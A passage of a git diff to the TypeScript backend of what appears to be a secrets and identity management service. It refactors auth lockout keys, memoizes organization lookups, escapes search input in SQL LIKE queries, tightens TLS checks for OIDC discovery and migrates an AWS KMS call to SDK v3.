+        await keyStore.deleteItem(lockoutKey);
       }
 
       return result;
     } catch (error) {
       // eslint-disable-next-line @typescript-eslint/no-explicit-any, @typescript-eslint/no-unsafe-member-access
       if ((error as any).status === 401 || error instanceof UnauthorizedError) {
-        const identityLdapAuth = await identityLdapAuthDAL.findOne({ identityId });
-        if (!identityLdapAuth) {
-          throw new UnauthorizedError({
-            message: "Invalid credentials",
-            detail: { reasonCode: "ldap_auth_not_found", identityId, orgId, identityName: identity?.name }
-          });
-        }
-
         if (identityLdapAuth.lockoutEnabled) {
           let lock: Awaited<ReturnType<typeof keyStore.acquireLock>> | undefined;
           try {
-            lock = await keyStore.acquireLock([KeyStorePrefixes.IdentityLockoutLock(LOCKOUT_KEY)], 500, {
+            lock = await keyStore.acquireLock([KeyStorePrefixes.IdentityLockoutLock(lockoutKey)], 500, {
               retryCount: 10,
               retryDelay: 300,
               retryJitter: 100
             });
 
             // Re-fetch the latest lockout data while holding the lock
-            const lockoutRawNew = await keyStore.getItem(LOCKOUT_KEY);
+            const lockoutRawNew = await keyStore.getItem(lockoutKey);
             if (lockoutRawNew) {
               lockout = JSON.parse(lockoutRawNew) as LockoutObject;
             } else {
@@ -939,7 +946,7 @@ export const identityLdapAuthServiceFactory = ({
             }
 
             await keyStore.setItemWithExpiry(
-              LOCKOUT_KEY,
+              lockoutKey,
               lockout.lockedOut ? identityLdapAuth.lockoutDurationSeconds : identityLdapAuth.lockoutCounterResetSeconds,
               JSON.stringify(lockout)
             );
@@ -1016,7 +1023,7 @@ export const identityLdapAuthServiceFactory = ({
     }
 
     const deleted = await keyStore.deleteItems({
-      pattern: `lockout:identity:${identityId}:${IdentityAuthMethod.LDAP_AUTH}:*`
+      pattern: KeyStorePrefixes.IdentityLockoutStateByMethodPattern(identityId, IdentityAuthMethod.LDAP_AUTH)
     });
 
     return { deleted, identityId, orgId: identityMembershipOrg.scopeOrgId };
diff --git a/backend/src/services/identity-oci-auth/identity-oci-auth-service.ts b/backend/src/services/identity-oci-auth/identity-oci-auth-service.ts
index da5849b1077..c957500fdc2 100644
--- a/backend/src/services/identity-oci-auth/identity-oci-auth-service.ts
+++ b/backend/src/services/identity-oci-auth/identity-oci-auth-service.ts
@@ -25,7 +25,9 @@ import {
 } from "@app/lib/errors";
 import { extractIPDetails, isValidIpOrCidr } from "@app/lib/ip";
 import { logger } from "@app/lib/logger";
+import { requestMemoKeys } from "@app/lib/request-context/memo-keys";
 import { RequestContextKey } from "@app/lib/request-context/request-context-keys";
+import { requestMemoize } from "@app/lib/request-context/request-memoizer";
 import { AuthAttemptAuthMethod, AuthAttemptAuthResult, authAttemptCounter } from "@app/lib/telemetry/metrics";
 
 import { ActorType, AuthTokenType } from "../auth/auth-type";
@@ -79,7 +81,9 @@ export const identityOciAuthServiceFactory = ({
         message: "Identity not found"
       });
 
-    const org = await orgDAL.findById(identity.orgId);
+    const org = await requestMemoize(requestMemoKeys.orgFindById(identity.orgId), () =>
+      orgDAL.findById(identity.orgId)
+    );
     const isSubOrgIdentity = Boolean(org.rootOrgId);
 
     // If the identity is a sub-org identity, then the scope is always the org.id, and if it's a root org identity, then we need to resolve the scope if a organizationSlug is specified
@@ -555,7 +559,9 @@ export const identityOciAuthServiceFactory = ({
         scope: OrganizationActionScope.Any
       });
 
-      const { shouldUseNewPrivilegeSystem } = await orgDAL.findById(actorOrgId);
+      const { shouldUseNewPrivilegeSystem } = await requestMemoize(requestMemoKeys.orgFindById(actorOrgId), () =>
+        orgDAL.findById(actorOrgId)
+      );
       const permissionBoundary = validatePrivilegeChangeOperation(
         shouldUseNewPrivilegeSystem,
         OrgPermissionIdentityActions.RevokeAuth,
diff --git a/backend/src/services/identity-oidc-auth/identity-oidc-auth-service.ts b/backend/src/services/identity-oidc-auth/identity-oidc-auth-service.ts
index a0f866fd1ba..66832a39654 100644
--- a/backend/src/services/identity-oidc-auth/identity-oidc-auth-service.ts
+++ b/backend/src/services/identity-oidc-auth/identity-oidc-auth-service.ts
@@ -1,6 +1,5 @@
 import { ForbiddenError, subject } from "@casl/ability";
 import { requestContext } from "@fastify/request-context";
-import axios from "axios";
 import https from "https";
 import jwt from "jsonwebtoken";
 import { JwksClient } from "jwks-rsa";
@@ -21,6 +20,7 @@ import {
 import { TPermissionServiceFactory } from "@app/ee/services/permission/permission-service-types";
 import { ProjectPermissionIdentityActions, ProjectPermissionSub } from "@app/ee/services/permission/project-permission";
 import { getConfig } from "@app/lib/config/env";
+import { request } from "@app/lib/config/request";
 import { crypto } from "@app/lib/crypto";
 import {
   BadRequestError,
@@ -31,7 +31,9 @@ import {
 } from "@app/lib/errors";
 import { extractIPDetails, isValidIpOrCidr } from "@app/lib/ip";
 import { logger } from "@app/lib/logger";
+import { requestMemoKeys } from "@app/lib/request-context/memo-keys";
 import { RequestContextKey } from "@app/lib/request-context/request-context-keys";
+import { requestMemoize } from "@app/lib/request-context/request-memoizer";
 import { AuthAttemptAuthMethod, AuthAttemptAuthResult, authAttemptCounter } from "@app/lib/telemetry/metrics";
 import { getValueByDot } from "@app/lib/template/dot-access";
 import { blockLocalAndPrivateIpAddresses } from "@app/lib/validator";
@@ -91,7 +93,9 @@ export const identityOidcAuthServiceFactory = ({
         message: "Identity not found"
       });
 
-    const org = await orgDAL.findById(identity.orgId);
+    const org = await requestMemoize(requestMemoKeys.orgFindById(identity.orgId), () =>
+      orgDAL.findById(identity.orgId)
+    );
     const isSubOrgIdentity = Boolean(org.rootOrgId);
 
     // If the identity is a sub-org identity, then the scope is always the org.id, and if it's a root org identity, then we need to resolve the scope if a organizationSlug is specified
@@ -108,13 +112,13 @@ export const identityOidcAuthServiceFactory = ({
         caCert = decryptor({ cipherTextBlob: identityOidcAuth.encryptedCaCertificate }).toString();
       }
 
-      const requestAgent = new https.Agent({ ca: caCert, rejectUnauthorized: !!caCert });
+      const requestAgent = caCert ? new https.Agent({ ca: caCert, rejectUnauthorized: true }) : undefined;
 
       await blockLocalAndPrivateIpAddresses(identityOidcAuth.oidcDiscoveryUrl);
 
       let discoveryDoc: { jwks_uri: string };
       try {
-        const response = await axios.get<{ jwks_uri: string }>(
+        const response = await request.get<{ jwks_uri: string }>(
           `${identityOidcAuth.oidcDiscoveryUrl}/.well-known/openid-configuration`,
           {
             httpsAgent: identityOidcAuth.oidcDiscoveryUrl.includes("https") ? requestAgent : undefined
@@ -873,7 +877,10 @@ export const identityOidcAuthServiceFactory = ({
         scope: OrganizationActionScope.Any
       });
 
-      const { shouldUseNewPrivilegeSystem } = await orgDAL.findById(identityMembershipOrg.scopeOrgId);
+      const { shouldUseNewPrivilegeSystem } = await requestMemoize(
+        requestMemoKeys.orgFindById(identityMembershipOrg.scopeOrgId),
+        () => orgDAL.findById(identityMembershipOrg.scopeOrgId)
+      );
       const permissionBoundary = validatePrivilegeChangeOperation(
         shouldUseNewPrivilegeSystem,
         OrgPermissionIdentityActions.RevokeAuth,
diff --git a/backend/src/services/identity-project/identity-project-dal.ts b/backend/src/services/identity-project/identity-project-dal.ts
index 936f7c8c8e5..39f2256c392 100644
--- a/backend/src/services/identity-project/identity-project-dal.ts
+++ b/backend/src/services/identity-project/identity-project-dal.ts
@@ -20,6 +20,7 @@ import {
 } from "@app/db/schemas";
 import { TIdentityLdapAuths } from "@app/db/schemas/identity-ldap-auths";
 import { DatabaseError } from "@app/lib/errors";
+import { sanitizeSqlLikeString } from "@app/lib/fn";
 import { selectAllTableCols, sqlNestRelationships } from "@app/lib/knex";
 import { OrderByDirection } from "@app/lib/types";
 import { ProjectIdentityOrderBy, TListProjectIdentityDTO } from "@app/services/identity-project/identity-project-types";
@@ -244,7 +245,7 @@ export const identityProjectDALFactory = (db: TDbClient) => {
       const fetchIdentitySubquery = (tx || db.replicaNode())(TableName.Identity)
         .where((qb) => {
           if (filter.search) {
-            void qb.whereILike(`${TableName.Identity}.name`, `%${filter.search}%`);
+            void qb.whereILike(`${TableName.Identity}.name`, `%${sanitizeSqlLikeString(filter.search)}%`);
           }
         })
         .join(TableName.Membership, `${TableName.Membership}.actorIdentityId`, `${TableName.Identity}.id`)
@@ -517,7 +518,7 @@ export const identityProjectDALFactory = (db: TDbClient) => {
           }
 
           if (filter.search) {
-            void qb.whereILike(`${TableName.Identity}.name`, `%${filter.search}%`);
+            void qb.whereILike(`${TableName.Identity}.name`, `%${sanitizeSqlLikeString(filter.search)}%`);
           }
         })
         .count();
diff --git a/backend/src/services/identity-spiffe-auth/identity-spiffe-auth-service.ts b/backend/src/services/identity-spiffe-auth/identity-spiffe-auth-service.ts
index 264d19bd1b7..5b2cc81adb6 100644
--- a/backend/src/services/identity-spiffe-auth/identity-spiffe-auth-service.ts
+++ b/backend/src/services/identity-spiffe-auth/identity-spiffe-auth-service.ts
@@ -29,7 +29,9 @@ import {
 } from "@app/lib/errors";
 import { extractIPDetails, isValidIpOrCidr } from "@app/lib/ip";
 import { logger } from "@app/lib/logger";
+import { requestMemoKeys } from "@app/lib/request-context/memo-keys";
 import { RequestContextKey } from "@app/lib/request-context/request-context-keys";
+import { requestMemoize } from "@app/lib/request-context/request-memoizer";
 import { AuthAttemptAuthMethod, AuthAttemptAuthResult, authAttemptCounter } from "@app/lib/telemetry/metrics";
 import { blockLocalAndPrivateIpAddresses } from "@app/lib/validator";
 
@@ -297,7 +299,9 @@ export const identitySpiffeAuthServiceFactory = ({
         message: "Identity not found"
       });
 
-    const org = await orgDAL.findById(identity.orgId);
+    const org = await requestMemoize(requestMemoKeys.orgFindById(identity.orgId), () =>
+      orgDAL.findById(identity.orgId)
+    );
     const isSubOrgIdentity = Boolean(org.rootOrgId);
     let subOrganizationId = isSubOrgIdentity ? org.id : null;
 
@@ -888,7 +892,10 @@ export const identitySpiffeAuthServiceFactory = ({
         actorOrgId
       });
 
-      const { shouldUseNewPrivilegeSystem } = await orgDAL.findById(identityMembershipOrg.scopeOrgId);
+      const { shouldUseNewPrivilegeSystem } = await requestMemoize(
+        requestMemoKeys.orgFindById(identityMembershipOrg.scopeOrgId),
+        () => orgDAL.findById(identityMembershipOrg.scopeOrgId)
+      );
       const permissionBoundary = validatePrivilegeChangeOperation(
         shouldUseNewPrivilegeSystem,
         OrgPermissionIdentityActions.RevokeAuth,
diff --git a/backend/src/services/identity-tls-cert-auth/identity-tls-cert-auth-service.ts b/backend/src/services/identity-tls-cert-auth/identity-tls-cert-auth-service.ts
index 4ad4695408f..03ee186c0fc 100644
--- a/backend/src/services/identity-tls-cert-auth/identity-tls-cert-auth-service.ts
+++ b/backend/src/services/identity-tls-cert-auth/identity-tls-cert-auth-service.ts
@@ -21,7 +21,9 @@ import {
   UnauthorizedError
 } from "@app/lib/errors";
 import { extractIPDetails, isValidIpOrCidr } from "@app/lib/ip";
+import { requestMemoKeys } from "@app/lib/request-context/memo-keys";
 import { RequestContextKey } from "@app/lib/request-context/request-context-keys";
+import { requestMemoize } from "@app/lib/request-context/request-memoizer";
 import { AuthAttemptAuthMethod, AuthAttemptAuthResult, authAttemptCounter } from "@app/lib/telemetry/metrics";
 
 import { ActorType, AuthTokenType } from "../auth/auth-type";
@@ -54,7 +56,9 @@ const parseSubjectDetails = (data: string) => {
   const values: Record<string, string> = {};
   data.split("\n").forEach((el) => {
     const [key, value] = el.split("=");
-    values[key.trim()] = value.trim();
+    if (key && value) {
+      values[key.trim()] = value.trim();
+    }
   });
   return values;
 };
@@ -88,7 +92,9 @@ export const identityTlsCertAuthServiceFactory = ({
         message: "Identity not found"
       });
 
-    const org = await orgDAL.findById(identity.orgId);
+    const org = await requestMemoize(requestMemoKeys.orgFindById(identity.orgId), () =>
+      orgDAL.findById(identity.orgId)
+    );
     const isSubOrgIdentity = Boolean(org.rootOrgId);
 
     // If the identity is a sub-org identity, then the scope is always the org.id, and if it's a root org identity, then we need to resolve the scope if a organizationSlug is specified
diff --git a/backend/src/services/identity-token-auth/identity-token-auth-service.ts b/backend/src/services/identity-token-auth/identity-token-auth-service.ts
index 5a5efb8c2d3..49828299c31 100644
--- a/backend/src/services/identity-token-auth/identity-token-auth-service.ts
+++ b/backend/src/services/identity-token-auth/identity-token-auth-service.ts
@@ -25,6 +25,8 @@ import {
   UnauthorizedError
 } from "@app/lib/errors";
 import { extractIPDetails, isValidIpOrCidr } from "@app/lib/ip";
+import { requestMemoKeys } from "@app/lib/request-context/memo-keys";
+import { requestMemoize } from "@app/lib/request-context/request-memoizer";
 
 import { ActorType, AuthTokenType } from "../auth/auth-type";
 import { TIdentityDALFactory } from "../identity/identity-dal";
@@ -385,7 +387,10 @@ export const identityTokenAuthServiceFactory = ({
         scope: OrganizationActionScope.Any
       });
 
-      const { shouldUseNewPrivilegeSystem } = await orgDAL.findById(identityMembershipOrg.scopeOrgId);
+      const { shouldUseNewPrivilegeSystem } = await requestMemoize(
+        requestMemoKeys.orgFindById(identityMembershipOrg.scopeOrgId),
+        () => orgDAL.findById(identityMembershipOrg.scopeOrgId)
+      );
       const permissionBoundary = validatePrivilegeChangeOperation(
         shouldUseNewPrivilegeSystem,
         OrgPermissionIdentityActions.RevokeAuth,
@@ -479,7 +484,10 @@ export const identityTokenAuthServiceFactory = ({
         scope: OrganizationActionScope.Any
       });
 
-      const { shouldUseNewPrivilegeSystem } = await orgDAL.findById(identityMembershipOrg.scopeOrgId);
+      const { shouldUseNewPrivilegeSystem } = await requestMemoize(
+        requestMemoKeys.orgFindById(identityMembershipOrg.scopeOrgId),
+        () => orgDAL.findById(identityMembershipOrg.scopeOrgId)
+      );
       const permissionBoundary = validatePrivilegeChangeOperation(
         shouldUseNewPrivilegeSystem,
         OrgPermissionIdentityActions.CreateToken,
@@ -504,7 +512,9 @@ export const identityTokenAuthServiceFactory = ({
     const identity = await identityDAL.findById(identityTokenAuth.identityId);
     if (!identity) throw new UnauthorizedError({ message: "Identity not found" });
 
-    const org = await orgDAL.findById(identity.orgId);
+    const org = await requestMemoize(requestMemoKeys.orgFindById(identity.orgId), () =>
+      orgDAL.findById(identity.orgId)
+    );
     const isSubOrgIdentity = Boolean(org.rootOrgId);
 
     // If the identity is a sub-org identity, then the scope is always the org.id, and if it's a root org identity, then we need to resolve the scope if a organizationSlug is specified
@@ -776,7 +786,10 @@ export const identityTokenAuthServiceFactory = ({
         actorOrgId,
         scope: OrganizationActionScope.Any
       });
-      const { shouldUseNewPrivilegeSystem } = await orgDAL.findById(identityMembershipOrg.scopeOrgId);
+      const { shouldUseNewPrivilegeSystem } = await requestMemoize(
+        requestMemoKeys.orgFindById(identityMembershipOrg.scopeOrgId),
+        () => orgDAL.findById(identityMembershipOrg.scopeOrgId)
+      );
       const permissionBoundary = validatePrivilegeChangeOperation(
         shouldUseNewPrivilegeSystem,
         OrgPermissionIdentityActions.CreateToken,
diff --git a/backend/src/services/identity-ua/identity-ua-service.ts b/backend/src/services/identity-ua/identity-ua-service.ts
index eb27a2b7ecd..db5e9590e99 100644
--- a/backend/src/services/identity-ua/identity-ua-service.ts
+++ b/backend/src/services/identity-ua/identity-ua-service.ts
@@ -23,7 +23,9 @@ import {
 } from "@app/lib/errors";
 import { checkIPAgainstBlocklist, extractIPDetails, isValidIpOrCidr, TIp } from "@app/lib/ip";
 import { logger } from "@app/lib/logger";
+import { requestMemoKeys } from "@app/lib/request-context/memo-keys";
 import { RequestContextKey } from "@app/lib/request-context/request-context-keys";
+import { requestMemoize } from "@app/lib/request-context/request-memoizer";
 import { AuthAttemptAuthMethod, AuthAttemptAuthResult, authAttemptCounter } from "@app/lib/telemetry/metrics";
 
 import { ActorType, AuthTokenType } from "../auth/auth-type";
@@ -92,7 +94,9 @@ export const identityUaServiceFactory = ({
     }
 
     const identity = await identityDAL.findById(identityUa.identityId);
-    const org = await orgDAL.findById(identity.orgId);
+    const org = await requestMemoize(requestMemoKeys.orgFindById(identity.orgId), () =>
+      orgDAL.findById(identity.orgId)
+    );
     const isSubOrgIdentity = Boolean(org.rootOrgId);
 
     // If the identity is a sub-org identity, then the scope is always the org.id, and if it's a root org identity, then we need to resolve the scope if a subOrganizationName is specified
@@ -104,16 +108,20 @@ export const identityUaServiceFactory = ({
         trustedIps: identityUa.clientSecretTrustedIps as TIp[]
       });
 
-      const LOCKOUT_KEY = `lockout:identity:${identityUa.identityId}:${IdentityAuthMethod.UNIVERSAL_AUTH}:${clientId}`;
+      const lockoutKey = KeyStorePrefixes.IdentityLockoutState(
+        identityUa.identityId,
+        IdentityAuthMethod.UNIVERSAL_AUTH,
+        clientId
+      );
 
-      const lockoutRaw = await keyStore.getItem(LOCKOUT_KEY);
+      const lockoutRaw = await keyStore.getItem(lockoutKey);
 
       let lockout: LockoutObject | undefined;
       if (lockoutRaw) {
         lockout = JSON.parse(lockoutRaw) as LockoutObject;
       }
 
-      if (lockout && lockout.lockedOut) {
+      if (lockout && lockout.lockedOut && identityUa.lockoutEnabled) {
         throw new UnauthorizedError({
           message: "This identity auth method is temporarily locked, please try again later",
           detail: {
@@ -146,14 +154,14 @@ export const identityUaServiceFactory = ({
         if (identityUa.lockoutEnabled) {
           let lock: Awaited<ReturnType<typeof keyStore.acquireLock>> | undefined;
           try {
-            lock = await keyStore.acquireLock([KeyStorePrefixes.IdentityLockoutLock(LOCKOUT_KEY)], 300, {
+            lock = await keyStore.acquireLock([KeyStorePrefixes.IdentityLockoutLock(lockoutKey)], 300, {
               retryCount: 3,
               retryDelay: 300,
               retryJitter: 100
             });
 
             // Re-fetch the latest lockout data while holding the lock
-            const lockoutRawNew = await keyStore.getItem(LOCKOUT_KEY);
+            const lockoutRawNew = await keyStore.getItem(lockoutKey);
             if (lockoutRawNew) {
               lockout = JSON.parse(lockoutRawNew) as LockoutObject;
             } else {
@@ -181,7 +189,7 @@ export const identityUaServiceFactory = ({
             }
 
             await keyStore.setItemWithExpiry(
-              LOCKOUT_KEY,
+              lockoutKey,
               lockout.lockedOut ? identityUa.lockoutDurationSeconds : identityUa.lockoutCounterResetSeconds,
               JSON.stringify(lockout)
             );
@@ -211,7 +219,7 @@ export const identityUaServiceFactory = ({
         });
       } else if (lockout) {
         // If credentials are valid, clear any existing lockout record
-        await keyStore.deleteItem(LOCKOUT_KEY);
+        await keyStore.deleteItem(lockoutKey);
       }
 
       const { clientSecretTTL, clientSecretNumUses, clientSecretNumUsesLimit } = validClientSecretInfo;
@@ -758,7 +766,10 @@ export const identityUaServiceFactory = ({
         actorOrgId,
         scope: OrganizationActionScope.Any
       });
-      const { shouldUseNewPrivilegeSystem } = await orgDAL.findById(identityMembershipOrg.scopeOrgId);
+      const { shouldUseNewPrivilegeSystem } = await requestMemoize(
+        requestMemoKeys.orgFindById(identityMembershipOrg.scopeOrgId),
+        () => orgDAL.findById(identityMembershipOrg.scopeOrgId)
+      );
       const permissionBoundary = validatePrivilegeChangeOperation(
         shouldUseNewPrivilegeSystem,
         OrgPermissionIdentityActions.RevokeAuth,
@@ -848,7 +859,10 @@ export const identityUaServiceFactory = ({
         actorOrgId,
         scope: OrganizationActionScope.Any
       });
-      const { shouldUseNewPrivilegeSystem } = await orgDAL.findById(identityMembershipOrg.scopeOrgId);
+      const { shouldUseNewPrivilegeSystem } = await requestMemoize(
+        requestMemoKeys.orgFindById(identityMembershipOrg.scopeOrgId),
+        () => orgDAL.findById(identityMembershipOrg.scopeOrgId)
+      );
       const permissionBoundary = validatePrivilegeChangeOperation(
         shouldUseNewPrivilegeSystem,
         OrgPermissionIdentityActions.CreateToken,
@@ -949,7 +963,10 @@ export const identityUaServiceFactory = ({
         actorOrgId,
         scope: OrganizationActionScope.Any
       });
-      const { shouldUseNewPrivilegeSystem } = await orgDAL.findById(identityMembershipOrg.scopeOrgId);
+      const { shouldUseNewPrivilegeSystem } = await requestMemoize(
+        requestMemoKeys.orgFindById(identityMembershipOrg.scopeOrgId),
+        () => orgDAL.findById(identityMembershipOrg.scopeOrgId)
+      );
       const permissionBoundary = validatePrivilegeChangeOperation(
         shouldUseNewPrivilegeSystem,
         OrgPermissionIdentityActions.GetToken,
@@ -1044,7 +1061,10 @@ export const identityUaServiceFactory = ({
         actorOrgId,
         scope: OrganizationActionScope.Any
       });
-      const { shouldUseNewPrivilegeSystem } = await orgDAL.findById(identityMembershipOrg.scopeOrgId);
+      const { shouldUseNewPrivilegeSystem } = await requestMemoize(
+        requestMemoKeys.orgFindById(identityMembershipOrg.scopeOrgId),
+        () => orgDAL.findById(identityMembershipOrg.scopeOrgId)
+      );
       const permissionBoundary = validatePrivilegeChangeOperation(
         shouldUseNewPrivilegeSystem,
         OrgPermissionIdentityActions.GetToken,
@@ -1135,7 +1155,10 @@ export const identityUaServiceFactory = ({
         scope: OrganizationActionScope.Any
       });
 
-      const { shouldUseNewPrivilegeSystem } = await orgDAL.findById(identityMembershipOrg.scopeOrgId);
+      const { shouldUseNewPrivilegeSystem } = await requestMemoize(
+        requestMemoKeys.orgFindById(identityMembershipOrg.scopeOrgId),
+        () => orgDAL.findById(identityMembershipOrg.scopeOrgId)
+      );
       const permissionBoundary = validatePrivilegeChangeOperation(
         shouldUseNewPrivilegeSystem,
         OrgPermissionIdentityActions.DeleteToken,
@@ -1213,7 +1236,7 @@ export const identityUaServiceFactory = ({
       ForbiddenError.from(permission).throwUnlessCan(OrgPermissionIdentityActions.Edit, OrgPermissionSubjects.Identity);
     }
     const deleted = await keyStore.deleteItems({
-      pattern: `lockout:identity:${identityId}:${IdentityAuthMethod.UNIVERSAL_AUTH}:*`
+      pattern: KeyStorePrefixes.IdentityLockoutStateByMethodPattern(identityId, IdentityAuthMethod.UNIVERSAL_AUTH)
     });
 
     return { deleted, identityId, orgId: identityMembershipOrg.scopeOrgId };
diff --git a/backend/src/services/identity-v2/identity-dal.ts b/backend/src/services/identity-v2/identity-dal.ts
index 7e594227f9c..0a11350e8e2 100644
--- a/backend/src/services/identity-v2/identity-dal.ts
+++ b/backend/src/services/identity-v2/identity-dal.ts
@@ -1,5 +1,6 @@
 import { TDbClient } from "@app/db";
 import { AccessScope, AccessScopeData, IdentitiesSchema, TableName } from "@app/db/schemas";
+import { sanitizeSqlLikeString } from "@app/lib/fn";
 import { ormify, selectAllTableCols, sqlNestRelationships } from "@app/lib/knex";
 
 import { buildAuthMethods } from "../identity/identity-fns";
@@ -144,7 +145,8 @@ export const identityV2DALFactory = (db: TDbClient) => {
         }
       });
 
-    if (filter.search) void baseQuery.whereILike(`${TableName.Identity}.name`, `%${filter.search}%`);
+    if (filter.search)
+      void baseQuery.whereILike(`${TableName.Identity}.name`, `%${sanitizeSqlLikeString(filter.search)}%`);
 
     const countQuery = baseQuery.clone().count(`${TableName.Identity}.id as count`).first<{ count: string }>();
 
diff --git a/backend/src/services/identity-v2/identity-fns.ts b/backend/src/services/identity-v2/identity-fns.ts
index fde9ef2d3bd..a89762ccab8 100644
--- a/backend/src/services/identity-v2/identity-fns.ts
+++ b/backend/src/services/identity-v2/identity-fns.ts
@@ -1,10 +1,10 @@
-import { TKeyStoreFactory } from "@app/keystore/keystore";
+import { KeyStorePrefixes, TKeyStoreFactory } from "@app/keystore/keystore";
 
 export const getIdentityActiveLockoutAuthMethods = async (
   identityId: string,
   keyStore: Pick<TKeyStoreFactory, "getKeysByPattern" | "getItem">
 ) => {
-  const activeLockouts = await keyStore.getKeysByPattern(`lockout:identity:${identityId}:*`);
+  const activeLockouts = await keyStore.getKeysByPattern(KeyStorePrefixes.IdentityLockoutStatePattern(identityId));
 
   const activeLockoutAuthMethods = new Set<string>();
   for await (const key of activeLockouts) {
diff --git a/backend/src/services/identity/identity-dal.ts b/backend/src/services/identity/identity-dal.ts
index 5a07f383b53..fef202b845e 100644
--- a/backend/src/services/identity/identity-dal.ts
+++ b/backend/src/services/identity/identity-dal.ts
@@ -1,6 +1,7 @@
 import { TDbClient } from "@app/db";
 import { IdentityAuthMethod, TableName, TIdentities } from "@app/db/schemas";
 import { DatabaseError } from "@app/lib/errors";
+import { sanitizeSqlLikeString } from "@app/lib/fn";
 import { ormify, selectAllTableCols } from "@app/lib/knex";
 
 export type TIdentityDALFactory = ReturnType<typeof identityDALFactory>;
@@ -47,7 +48,7 @@ export const identityDALFactory = (db: TDbClient) => {
 
       if (searchTerm) {
         query = query.where((qb) => {
-          void qb.whereILike("name", `%${searchTerm}%`);
+          void qb.whereILike("name", `%${sanitizeSqlLikeString(searchTerm)}%`);
         });
       }
 
diff --git a/backend/src/services/identity/identity-org-dal.ts b/backend/src/services/identity/identity-org-dal.ts
index 893fcaa69ad..cc481cf89c4 100644
--- a/backend/src/services/identity/identity-org-dal.ts
+++ b/backend/src/services/identity/identity-org-dal.ts
@@ -21,6 +21,7 @@ import {
 } from "@app/db/schemas";
 import { TIdentityLdapAuths } from "@app/db/schemas/identity-ldap-auths";
 import { BadRequestError, DatabaseError } from "@app/lib/errors";
+import { sanitizeSqlLikeString } from "@app/lib/fn";
 import { selectAllTableCols, sqlNestRelationships } from "@app/lib/knex";
 import { buildKnexFilterForSearchResource } from "@app/lib/search-resource/db";
 import { OrderByDirection } from "@app/lib/types";
@@ -178,7 +179,7 @@ export const identityOrgDALFactory = (db: TDbClient) => {
         .as("paginatedIdentity");
 
       if (search?.length) {
-        void paginatedIdentity.whereILike(`${TableName.Identity}.name`, `%${search}%`);
+        void paginatedIdentity.whereILike(`${TableName.Identity}.name`, `%${sanitizeSqlLikeString(search)}%`);
       }
 
       if (limit) {
@@ -686,7 +687,7 @@ export const identityOrgDALFactory = (db: TDbClient) => {
         .count();
 
       if (search?.length) {
-        void query.whereILike(`${TableName.Identity}.name`, `%${search}%`);
+        void query.whereILike(`${TableName.Identity}.name`, `%${sanitizeSqlLikeString(search)}%`);
       }
 
       const identities = await query;
diff --git a/backend/src/services/identity/identity-service.ts b/backend/src/services/identity/identity-service.ts
index f3dd02ad18e..fac9d47e86d 100644
--- a/backend/src/services/identity/identity-service.ts
+++ b/backend/src/services/identity/identity-service.ts
@@ -11,6 +11,8 @@ import {
 import { TPermissionServiceFactory } from "@app/ee/services/permission/permission-service-types";
 import { PgSqlLock, TKeyStoreFactory } from "@app/keystore/keystore";
 import { BadRequestError, NotFoundError, PermissionBoundaryError } from "@app/lib/errors";
+import { requestMemoKeys } from "@app/lib/request-context/memo-keys";
+import { requestMemoize } from "@app/lib/request-context/request-memoizer";
 import { TIdentityProjectDALFactory } from "@app/services/identity-project/identity-project-dal";
 import { getIdentityActiveLockoutAuthMethods } from "@app/services/identity-v2/identity-fns";
 
@@ -87,7 +89,9 @@ export const identityServiceFactory = ({
 
     const [rolePermissionDetails] = await permissionService.getOrgPermissionByRoles([role], orgId);
 
-    const { shouldUseNewPrivilegeSystem } = await orgDAL.findById(actorOrgId);
+    const { shouldUseNewPrivilegeSystem } = await requestMemoize(requestMemoKeys.orgFindById(actorOrgId), () =>
+      orgDAL.findById(actorOrgId)
+    );
     const isCustomRole = Boolean(rolePermissionDetails?.role);
     if (isCustomRole) {
       const plan = await licenseService.getPlan(orgId);
@@ -215,7 +219,9 @@ export const identityServiceFactory = ({
     let customRole: TRoles | undefined;
     if (role) {
       const [rolePermissionDetails] = await permissionService.getOrgPermissionByRoles([role], actorOrgId);
-      const { shouldUseNewPrivilegeSystem } = await orgDAL.findById(actorOrgId);
+      const { shouldUseNewPrivilegeSystem } = await requestMemoize(requestMemoKeys.orgFindById(actorOrgId), () =>
+        orgDAL.findById(actorOrgId)
+      );
 
       const isCustomRole = Boolean(rolePermissionDetails?.role);
       if (isCustomRole) {
@@ -418,7 +424,7 @@ export const identityServiceFactory = ({
       scope: OrganizationActionScope.Any,
       actor,
       actorId,
-      orgId: actorOrgId,
+      orgId,
       actorAuthMethod,
       actorOrgId
     });
diff --git a/backend/src/services/integration-auth/integration-auth-service.ts b/backend/src/services/integration-auth/integration-auth-service.ts
index d53e2a39a7f..815fc8417fb 100644
--- a/backend/src/services/integration-auth/integration-auth-service.ts
+++ b/backend/src/services/integration-auth/integration-auth-service.ts
@@ -1,8 +1,8 @@
+import { KMSClient, ListAliasesCommand } from "@aws-sdk/client-kms";
 import { ForbiddenError } from "@casl/ability";
 import { createAppAuth } from "@octokit/auth-app";
 import { Octokit } from "@octokit/rest";
 import { Client as OctopusClient, SpaceRepository as OctopusSpaceRepository } from "@octopusdeploy/api-client";
-import KMS from "aws-sdk/clients/kms.js";
 
 import {
   ActionProjectType,
@@ -1059,7 +1059,7 @@ export const integrationAuthServiceFactory = ({
     const { shouldUseSecretV2Bridge, botKey } = await projectBotService.getBotKey(integrationAuth.projectId);
     const { accessId, accessToken } = await getIntegrationAccessToken(integrationAuth, shouldUseSecretV2Bridge, botKey);
 
-    const kms = new KMS({
+    const kms = new KMSClient({
       region,
       credentials: {
         accessKeyId: String(accessId),
@@ -1067,7 +1067,7 @@ export const integrationAuthServiceFactory = ({
       }
     });
 
-    const aliases = await kms.listAliases({}).promise();
+    const aliases = await kms.send(new ListAliasesCommand({}));
 
     const keyAliases = aliases.Aliases!.filter((alias) => {
       if (!alias.TargetKeyId) return false;
diff --git a/backend/src/services/integration-auth/integration-list.ts b/backend/src/services/integration-auth/integration-list.ts
index e2581d26c8d..3fff120d413 100644
--- a/backend/src/services/integration-auth/integration-list.ts
+++ b/backend/src/services/integration-auth/integration-list.ts
@@ -99,6 +99,8 @@ export enum IntegrationUrls {
   AZURE_DEVOPS_API_URL = "https://dev.azure.com",
   HUMANITEC_API_URL = "https://api.humanitec.io",
   CAMUNDA_API_URL = "https://api.cloud.camunda.io",
+  DIGICERT_SERVICES_API_URL = "https://www.digicert.com/services/v2",
+  DIGICERT_SERVICES_API_URL_EU = "https://api-eu.digicert.com/services/v2",
 
   GCP_SECRET_MANAGER_SERVICE_NAME = "secretmanager.googleapis.com",
   GCP_SECRET_MANAGER_URL = `https://${GCP_SECRET_MANAGER_SERVICE_NAME}`,
